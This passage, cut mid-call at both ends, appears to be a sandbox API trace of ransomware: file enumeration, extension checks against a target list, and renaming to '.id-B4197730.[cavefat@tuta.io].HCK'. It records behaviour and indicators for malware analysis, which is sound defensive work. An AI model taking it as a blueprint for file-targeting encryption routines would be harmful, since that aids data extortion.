(lpString=".xls") returned 4 [0245.649] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0245.649] lstrlenW (lpString=".xlsx") returned 5 [0245.649] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0245.649] lstrlenW (lpString=".ppt") returned 4 [0245.649] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0245.649] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0245.649] lstrlenW (lpString=".zip") returned 4 [0245.649] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0245.649] lstrlenW (lpString=".rar") returned 4 [0245.649] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0245.649] lstrlenW (lpString=".bz2") returned 4 [0245.649] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0245.649] lstrlenW (lpString=".7z") returned 3 [0245.649] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0245.649] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0245.649] lstrlenW (lpString=".dbf") returned 4 [0245.649] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0245.649] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0245.650] lstrlenW (lpString=".1cd") returned 4 [0245.650] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0245.650] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0245.650] lstrlenW (lpString=".jpg") returned 4 [0245.650] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0245.650] lstrcmpiW (lpString1=".LOG", lpString2=".HCK") returned 1 [0245.650] lstrlenW (lpString="BCD.LOG") returned 7 [0245.650] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0245.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0245.650] lstrlenW (lpString=".doc") returned 4 [0245.650] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0245.650] lstrlenW (lpString=".docx") returned 5 [0245.650] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0245.650] lstrlenW (lpString=".pdf") returned 4 [0245.650] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0245.650] lstrlenW (lpString=".xls") returned 4 [0245.650] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0245.650] lstrlenW (lpString=".xlsx") returned 5 [0245.650] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0245.650] lstrlenW (lpString=".ppt") returned 4 [0245.650] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0245.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0245.650] lstrlenW (lpString=".zip") returned 4 [0245.650] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0245.650] lstrlenW (lpString=".rar") returned 4 [0245.650] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0245.650] lstrlenW (lpString=".bz2") returned 4 [0245.650] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0245.650] lstrlenW (lpString=".7z") returned 3 [0245.650] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0245.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0245.650] lstrlenW (lpString=".dbf") returned 4 [0245.650] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0245.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0245.650] lstrlenW (lpString=".1cd") returned 4 [0245.650] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0245.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0245.650] lstrlenW (lpString=".jpg") returned 4 [0245.650] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0245.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0245.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0245.650] lstrlenW (lpString=".doc") returned 4 [0245.651] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0245.651] lstrlenW (lpString=".docx") returned 5 [0245.651] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0245.651] lstrlenW (lpString=".pdf") returned 4 [0245.651] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0245.651] lstrlenW (lpString=".xls") returned 4 [0245.651] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0245.651] lstrlenW (lpString=".xlsx") returned 5 [0245.651] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0245.651] lstrlenW (lpString=".ppt") returned 4 [0245.651] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0245.651] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0245.651] lstrlenW (lpString=".zip") returned 4 [0245.651] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0245.651] lstrlenW (lpString=".rar") returned 4 [0245.651] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0245.651] lstrlenW (lpString=".bz2") returned 4 [0245.651] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0245.651] lstrlenW (lpString=".7z") returned 3 [0245.651] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0245.651] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0245.651] lstrlenW (lpString=".dbf") returned 4 [0245.651] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0245.651] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0245.651] lstrlenW (lpString=".1cd") returned 4 [0245.651] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0245.651] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0245.651] lstrlenW (lpString=".jpg") returned 4 [0245.651] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0245.651] lstrcmpiW (lpString1=".p7b", lpString2=".HCK") returned 1 [0245.651] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0245.651] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0245.652] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=4662) returned 1 [0245.652] CloseHandle (hObject=0x300) returned 1 [0245.652] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0245.652] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.652] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.652] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0245.652] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0245.652] lstrlenW (lpString=".doc") returned 4 [0245.652] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0245.652] lstrlenW (lpString=".docx") returned 5 [0245.652] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0245.652] lstrlenW (lpString=".pdf") returned 4 [0245.652] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0245.653] lstrlenW (lpString=".xls") returned 4 [0245.653] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0245.653] lstrlenW (lpString=".xlsx") returned 5 [0245.653] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0245.653] lstrlenW (lpString=".ppt") returned 4 [0245.653] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0245.653] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0245.653] lstrlenW (lpString=".zip") returned 4 [0245.653] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0245.653] lstrlenW (lpString=".rar") returned 4 [0245.653] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0245.653] lstrlenW (lpString=".bz2") returned 4 [0245.653] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0245.653] lstrlenW (lpString=".7z") returned 3 [0245.653] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0245.653] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0245.653] lstrlenW (lpString=".dbf") returned 4 [0245.653] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0245.653] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0245.653] lstrlenW (lpString=".1cd") returned 4 [0245.653] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0245.653] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0245.653] lstrlenW (lpString=".jpg") returned 4 [0245.653] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0245.653] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0245.653] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0245.653] lstrlenW (lpString=".doc") returned 4 [0245.653] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0245.653] lstrlenW (lpString=".docx") returned 5 [0245.653] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0245.653] lstrlenW (lpString=".pdf") returned 4 [0245.653] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0245.653] lstrlenW (lpString=".xls") returned 4 [0245.653] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0245.653] lstrlenW (lpString=".xlsx") returned 5 [0245.653] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0245.653] lstrlenW (lpString=".ppt") returned 4 [0245.653] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0245.653] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0245.653] lstrlenW (lpString=".zip") returned 4 [0245.653] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0245.653] lstrlenW (lpString=".rar") returned 4 [0245.653] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0245.653] lstrlenW (lpString=".bz2") returned 4 [0245.653] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0245.653] lstrlenW (lpString=".7z") returned 3 [0245.653] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0245.653] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0245.653] lstrlenW (lpString=".dbf") returned 4 [0245.653] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0245.653] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0245.653] lstrlenW (lpString=".1cd") returned 4 [0245.654] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0245.654] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0245.654] lstrlenW (lpString=".jpg") returned 4 [0245.654] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0245.654] Sleep (dwMilliseconds=0x64) [0245.857] Sleep (dwMilliseconds=0x64) [0246.146] lstrcmpiW (lpString1=".htm", lpString2=".HCK") returned 1 [0246.146] lstrlenW (lpString="Bears.htm") returned 9 [0246.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0246.147] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=255) returned 1 [0246.147] CloseHandle (hObject=0x368) returned 1 [0246.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0246.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0246.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0246.148] lstrlenW (lpString=".doc") returned 4 [0246.148] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0246.148] lstrlenW (lpString=".docx") returned 5 [0246.148] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0246.148] lstrlenW (lpString=".pdf") returned 4 [0246.148] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0246.148] lstrlenW (lpString=".xls") returned 4 [0246.148] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0246.148] lstrlenW (lpString=".xlsx") returned 5 [0246.148] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0246.148] lstrlenW (lpString=".ppt") returned 4 [0246.148] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0246.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0246.148] lstrlenW (lpString=".zip") returned 4 [0246.148] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0246.148] lstrlenW (lpString=".rar") returned 4 [0246.148] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0246.148] lstrlenW (lpString=".bz2") returned 4 [0246.148] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0246.148] lstrlenW (lpString=".7z") returned 3 [0246.148] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0246.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0246.148] lstrlenW (lpString=".dbf") returned 4 [0246.148] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0246.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0246.148] lstrlenW (lpString=".1cd") returned 4 [0246.148] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0246.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0246.148] lstrlenW (lpString=".jpg") returned 4 [0246.148] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0246.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0246.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0246.148] lstrlenW (lpString=".doc") returned 4 [0246.148] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0246.148] lstrlenW (lpString=".docx") returned 5 [0246.149] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0246.149] lstrlenW (lpString=".pdf") returned 4 [0246.149] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0246.149] lstrlenW (lpString=".xls") returned 4 [0246.149] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0246.149] lstrlenW (lpString=".xlsx") returned 5 [0246.149] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0246.149] lstrlenW (lpString=".ppt") returned 4 [0246.149] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0246.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0246.149] lstrlenW (lpString=".zip") returned 4 [0246.149] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0246.149] lstrlenW (lpString=".rar") returned 4 [0246.149] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0246.149] lstrlenW (lpString=".bz2") returned 4 [0246.149] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0246.149] lstrlenW (lpString=".7z") returned 3 [0246.149] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0246.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0246.149] lstrlenW (lpString=".dbf") returned 4 [0246.149] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0246.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0246.149] lstrlenW (lpString=".1cd") returned 4 [0246.149] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0246.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0246.149] lstrlenW (lpString=".jpg") returned 4 [0246.149] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0246.149] lstrcmpiW (lpString1=".jpg", lpString2=".HCK") returned 1 [0246.149] lstrlenW (lpString="Bears.jpg") returned 9 [0246.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0246.150] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=1074) returned 1 [0246.150] CloseHandle (hObject=0x368) returned 1 [0246.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0246.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0246.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0246.150] lstrlenW (lpString=".doc") returned 4 [0246.150] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0246.150] lstrlenW (lpString=".docx") returned 5 [0246.150] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0246.150] lstrlenW (lpString=".pdf") returned 4 [0246.150] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0246.150] lstrlenW (lpString=".xls") returned 4 [0246.150] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0246.150] lstrlenW (lpString=".xlsx") returned 5 [0246.150] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0246.151] lstrlenW (lpString=".ppt") returned 4 [0246.151] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0246.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0246.151] lstrlenW (lpString=".zip") returned 4 [0246.151] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0246.151] lstrlenW (lpString=".rar") returned 4 [0246.151] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0246.151] lstrlenW (lpString=".bz2") returned 4 [0246.151] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0246.151] lstrlenW (lpString=".7z") returned 3 [0246.151] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0246.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0246.151] lstrlenW (lpString=".dbf") returned 4 [0246.151] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0246.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0246.151] lstrlenW (lpString=".1cd") returned 4 [0246.151] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0246.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0246.151] lstrlenW (lpString=".jpg") returned 4 [0246.151] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0246.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0246.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0246.151] lstrlenW (lpString=".doc") returned 4 [0246.151] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0246.151] lstrlenW (lpString=".docx") returned 5 [0246.151] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0246.151] lstrlenW (lpString=".pdf") returned 4 [0246.151] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0246.151] lstrlenW (lpString=".xls") returned 4 [0246.151] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0246.151] lstrlenW (lpString=".xlsx") returned 5 [0246.151] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0246.151] lstrlenW (lpString=".ppt") returned 4 [0246.151] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0246.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0246.151] lstrlenW (lpString=".zip") returned 4 [0246.151] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0246.151] lstrlenW (lpString=".rar") returned 4 [0246.151] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0246.151] lstrlenW (lpString=".bz2") returned 4 [0246.151] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0246.151] lstrlenW (lpString=".7z") returned 3 [0246.151] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0246.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0246.151] lstrlenW (lpString=".dbf") returned 4 [0246.151] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0246.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0246.151] lstrlenW (lpString=".1cd") returned 4 [0246.151] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0246.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0246.151] lstrlenW (lpString=".jpg") returned 4 [0246.151] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0246.152] lstrcmpiW (lpString1=".htm", lpString2=".HCK") returned 1 [0246.152] lstrlenW (lpString="Garden.htm") returned 10 [0246.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0246.152] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=231) returned 1 [0246.152] CloseHandle (hObject=0x368) returned 1 [0246.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0246.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0246.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0246.152] lstrlenW (lpString=".doc") returned 4 [0246.152] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0246.152] lstrlenW (lpString=".docx") returned 5 [0246.152] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0246.152] lstrlenW (lpString=".pdf") returned 4 [0246.152] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0246.152] lstrlenW (lpString=".xls") returned 4 [0246.152] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0246.152] lstrlenW (lpString=".xlsx") returned 5 [0246.153] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0246.153] lstrlenW (lpString=".ppt") returned 4 [0246.153] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0246.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0246.153] lstrlenW (lpString=".zip") returned 4 [0246.153] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0246.153] lstrlenW (lpString=".rar") returned 4 [0246.153] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0246.153] lstrlenW (lpString=".bz2") returned 4 [0246.153] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0246.153] lstrlenW (lpString=".7z") returned 3 [0246.153] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0246.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0246.153] lstrlenW (lpString=".dbf") returned 4 [0246.153] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0246.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0246.153] lstrlenW (lpString=".1cd") returned 4 [0246.153] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0246.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0246.153] lstrlenW (lpString=".jpg") returned 4 [0246.153] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0246.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0246.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0246.153] lstrlenW (lpString=".doc") returned 4 [0246.153] lstrcmpiW (lpString1=".doc", lpString2=".htm") 